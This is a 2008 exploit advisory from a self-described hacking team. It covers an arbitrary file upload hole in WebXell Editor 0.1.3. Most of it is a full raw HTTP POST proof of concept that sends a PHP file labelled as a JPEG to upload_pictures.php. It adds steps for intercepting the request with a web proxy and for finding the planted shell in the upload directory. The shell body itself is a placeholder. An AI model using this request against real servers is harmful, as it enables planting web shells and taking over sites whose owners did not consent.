WebXell Editor 0.1.3 - Arbitrary File Upload Vulnerability

                                                ===========================================================================
  WebXell Editor (upload_pictures.php) Arbitrary File Upload Vulnerability
===========================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 7 July 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : WebXell Editor
 VERSION     : 0.1.3
 VENDOR	     : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/webxelleditor/webXell-0.1.3.zip
#####################################################

--- Arbitrary File Upload ---

	This Vulnerability can upload malicious files direct to web server.
Use Web proxy (Webscarab,etc..) to intercept data.

[+] Upload Path: http://[Target]/[webxell_path]/upload_pictures.php

 [-] POC Exploit:

POST http://192.168.24.25/webxell/upload_pictures.php HTTP/1.1
Host: 192.168.24.25
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.24.25/webxell/index.php?file=test.xml
Cookie: storyread[1]=1; PHPSESSID=a663694e586aba414a1b9fb79917891f
Content-Type: multipart/form-data; boundary=---------------------------278151583918669
Content-length: 241

-----------------------------278151583918669
Content-Disposition: form-data; name="updFile"; filename="phpbug.php"
Content-Type: img/jpeg

<?php
EVIL SHELL SCRIPT
?>
-----------------------------278151583918669--


[+] Shell Script: ***You can intercept file's name with Web proxy that tell the real name***

 [-] Position: http://[target]/[webxell_path]/upload/[Evil_File]


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  Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  
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# milw0rm.com [2008-07-07]